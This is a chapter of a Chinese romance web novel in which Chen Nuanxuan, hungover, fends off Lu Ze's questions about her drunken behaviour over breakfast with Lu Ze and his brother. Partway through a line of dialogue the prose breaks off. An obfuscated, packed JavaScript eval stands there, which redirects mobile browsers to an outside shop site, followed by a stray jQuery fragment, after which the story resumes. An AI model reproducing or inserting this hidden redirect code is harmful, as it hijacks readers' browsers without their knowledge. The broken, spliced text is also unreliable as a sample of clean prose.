快九点的时候，陆择带陈暖煖上了楼。
大概是因为对陈暖煖的家庭太好奇。
他问道：“在你们家，如果你爸要揍你，你妈是会劝还是会火上浇油？”
“我爸没揍过我。”陈暖煖道，“不过，他有时候会惹我生气。我生气了就会去我姑姑面前装可怜，我姑姑就会骂他，姑姑是他姐姐，他都不敢还嘴的。”
“你还会装可怜啊？”
“当然会，我这么聪明，一装一个准，每次我爸都要挨骂的。”
陆择见她有些得意，就笑着逗她，“那你现在还会装可怜吗？”
“有需要还是会的，这个又不难。”喝醉的陈暖煖，真的是问什么说什么。
还实诚得吓人。
“那你爸经常惹你生气吗？”
“没，我爸脾气很好的，我很少生他的气。”
“那你妈会惹你生气吗？”
“我妈脾气也很好，不过她就算惹了我，我也不能生她的气。她身体不好，把她气着了，我爸就会真生气。”
陆择觉得他们一家人还挺有意思的。
就问：“那你们家谁脾气最大？”
“可能是我，我小时候他们都说我人小脾气大。”
不高兴了还喜欢直接挂脸上。
“我觉得你脾气还挺好的，再说，有点脾气也不是坏事。”
陆择觉得陈暖煖是那种看着就很好欺负的类型。
可一旦欺负她，才会发现她其实也没那么好欺负。
“他们也是这么说的，说人没点脾气就成面团了。”
面团子就只有被人揉捏的份了，她的家人并不想把她养成这样。
到了房间门口，陈暖煖停下道：“送到这就行了，晚安。”
“那你慢点，别摔了。”
“不会，我感觉已经好多了。”
走路好像已经没有那么飘了。
早上，陈暖煖醒的时候没有听到闹钟，以为自己上学要迟到了。
不过很快就意识到今天是周末，她不用上学。
想看看时间，发现手机不在，应该还在书包里。
至于书包在哪，暂时不确定。
床头柜上有表，她看了一眼，跟平时上学起床的时间差不多了。
应该是形成生物钟了。
既然醒了，就起床吃早饭吧，早饭很重要。
洗漱的时候，感觉头有些懵懵的。
不知道是那一口酒的功劳，还是又生病了。
看着镜子里刷牙的自己，她慢慢想起了昨晚的事情。
昨晚陆择带她去和朋友吃饭，然后……她没注意拿错杯子喝了酒。
再然后……
再然后她就不敢看镜子里刷牙的自己了。
喝酒误事，老话诚不欺人。
她洗漱好故意晚了半个小时才出去。
这个时间陆寻应该去学校了。
陆择估计也应该离开了。
她不太想看到这两个人，尤其是陆择。
怕他问昨晚的事。
可一到楼下餐厅，就看到陆择和陆寻都在餐桌边坐着吃早饭。
她忍不住抬手扶了一下额头。
头疼。
真是怕什么来什么。
两人听到动静，几乎是同时转头看过来。
“暖煖你起来了，我哥说你昨晚不小心喝醉了，是不是宿醉头疼了？”陆寻问道。
头不疼，脸好像有点疼。
“没事。”陈暖煖在心里叹了口气。
早知道就再晚点下来了。
“你周六上午不是还有半天课吗？怎么还在慢悠悠的吃饭？”她问。
说起来高三生还真有点可怜。
“今天不是我哥生日嘛，我请假了，也刚起来没多大会儿。”
“生日宴是中午吗？我还以为是晚上呢？”陈暖煖走到自己常做的位子坐下。
“是晚上没错。我们下午三四点过去就行，需要准备一下，你待会吃完饭帮我挑下衣服。”
“不知道的还以为今天你过生日呢。”
“我这不是为了不给我哥丢人嘛。”陆寻笑着道，“所以你确定不来吗？”
“不来，我怕你妈……”
‘妈’字刚出口，陆择就叫了她一声：“暖煖。”
陈暖煖看向陆择，目光接触的一瞬，她突然反应过来，自己刚才一不留神好像说漏嘴了。
她刚是想说，我怕你妈见到我会不高兴。
“我听你嗓子有点哑，要喝水吗？”
“噢，好，你帮我倒一杯吧。”陈暖煖轻咳了一声道。
同时脑子里疯狂找补。
可这话好像并不好补。
不知道陆择心里这会儿在想什么。
他应该也没办法把这话给圆过去吧。
再说他这时候开口帮忙好像也不合适，所以还得要靠自己。
陆择伸手去帮她倒水，“嗓子不舒服就少说点。”
他觉得陈暖煖不是宿醉后遗症，就是还没完全睡醒。
这脑子好像没比昨晚喝醉后好多少。
陆寻疑惑道：“你刚说你怕我妈什么？你见过我妈？”
陈暖煖什么时候见过的他妈，他怎么不知道？
“没见过。”陈暖煖一脸平静地摇摇头，“你不说这生日宴是你妈给你哥举办的相亲宴么，我是想说……我怕你妈见到我，以为我是去砸她场子的，惹她不高兴，我这么好看应该够格砸场子吧？”
这话好像有点厚脸皮了，可她一时半会儿也想补到其他办法了。
陆择有些意味不明地笑了一下。
陈暖煖假装平静道：“你笑什么，我长得很丑吗？”
“不丑，很好看。”他说着把水放到陈暖煖面前。
他这么直白的回答，倒是让陈暖煖有些不知道该说什么了。
甚至开始反思，自己以前当面说陆择好看，是不是有点过于直白了。
陆寻则是道：“够格，非常够格。要不你就去吧，我哥应该很希望你能砸了这场子，是不是哥？”
陆择对着陆寻一字一顿道：“你要想看到事后你妈来找暖煖麻烦，那你就让她去。”
“哥，我就开个玩笑，你别这么严肃嘛，怪吓人的。”
还有，什么叫你妈，我们不是一个妈吗？
至于气成这样吗？亲兄弟都不要了。
“行了吃饭吧。”陆择不想再继续这个话题了。
陆寻乖乖吃饭，还对陈暖煖露出了一个委屈的表情。
“好了，你哥晚上要被迫去相亲，你理解一下吧。”陈暖煖笑道。
“我理解。”陆寻道，“我非常理解。”
这么一说，他哥也挺可怜的。
陈暖煖现在好像也不喜欢他哥。
反正他是没看出来。
他哥长这么大也算顺风顺水了，没想到情路就不那么顺了。
“你俩够了啊。”陆择道。
“好了，我们不说了。”陈暖煖拿勺子搅了搅碗里的粥。
她脑子不太清醒，也怕再说错话。
刚喝了两口粥，就听陆择问她：“昨晚你喝醉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17668413|202330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后发生的事情，你还记得多少？”
陈暖煖：“……”
不让我们说你，你就提我是吗？
她能说她还都记得吗？
当然不能。
有的解释起来麻烦，有的她觉得丢人。
于是装傻道：“发生什么事了吗？我们不是吃完饭就回来了吗？”
“真不记得了？”陆择又问了一遍。
“哥，到底发生什么事了？”陆寻的好奇心被勾了起来。
陆择没回答他，而是看着陈暖煖。
“要不你给点提示？”陈暖煖被他看得心里发虚。
都过去了，还非要追着问。
“你说顾知逸出远门有灾，说棠姐有宝宝了，还记得吗？”
问这个还好。
“好像……有那么一点点印象。”陈暖煖低头看着粥碗道。
一副努力回忆的样子。
自己都觉得这演技快出神入化了。
“你是喝醉了乱说的，还是真懂这些？”陆择又问。
陆寻满脸都是意外，道：“你懂点医术我可以理解，你怎么还去给人算命了？”
我算你个头。
昨天刚被人说小巫女，这要是再来个神棍的名号，那就精彩了。
“只是喝醉了酒没管住嘴。不过……你说顾知逸会相信我的话吗？”她问陆择。
“我不知道，或许会吧。”陆择也拿不准。
听了还好，大概只会耽误一些事情。
如果没听，一旦出了事，不讲理的话，可能是要怪到陈暖煖头上的。
这种事情，就算是好意提醒，有时候也会两头捞不着好。
“那棠姐怀孕这事呢？”陆择又问。
“这个我要是搞错了，贺棠会把我怎么样？”陈暖煖问道。
昨晚，贺棠知道自己怀孕时激动的样子，她还记得。
“她结婚多年都没孩子，特别想要一个，如果没有，估计会上门拿高跟鞋砸你脑袋吧。”陆择咸咸道。
“棠姐没那么暴力吧。”陆寻道。
陈暖煖想起贺棠锥子似的的鞋跟，忍不住摸了一下头，好像已经被砸了一样。
还好，这个她有把握。
“这个应该八.九不离十，怎么摸脉，我爸教过我一点。”
没怀的话，心理落差太大，说不定真会上门打她一顿。
这事要说起来，她有点坏了老祖宗留下的规矩。
所谓医不叩门，她这上赶着，还是在洗手间，已经算是‘叩门’了吧。
还好是喜事，不然估计又要惹人烦了。
“这个时候倒是知道谦虚了，也知道怕了。”陆择不咸不淡道。
听昨晚陈暖煖那语气，不知道的还以为她是神医附体呢。
“这可能就是酒壮怂人胆。”陆寻笑着道，“你以后可不要随便喝酒了。”
“你才怂呢。”陈暖煖道，“也不是我要喝的，是你哥乱放酒杯，害我拿错的。”
“来怪我了是不是？”
“本来就怪你，我就不该和你一起出去吃饭。”
“好，怪我，都怪我。”陆择软声道，“我下次注意。”
顿了一下又道，“那回来后的事情你还记得多少？”
陈暖煖最怕的就是他问这个。
心里尴尬，但神色还算如常。
她看着陆择缓缓道：“记不太清了，不过，昨天放学见到你之后的事情，我倒是记得很清楚，你要听吗？”
陆择：“……”
这是真不记得了，还是在威胁他？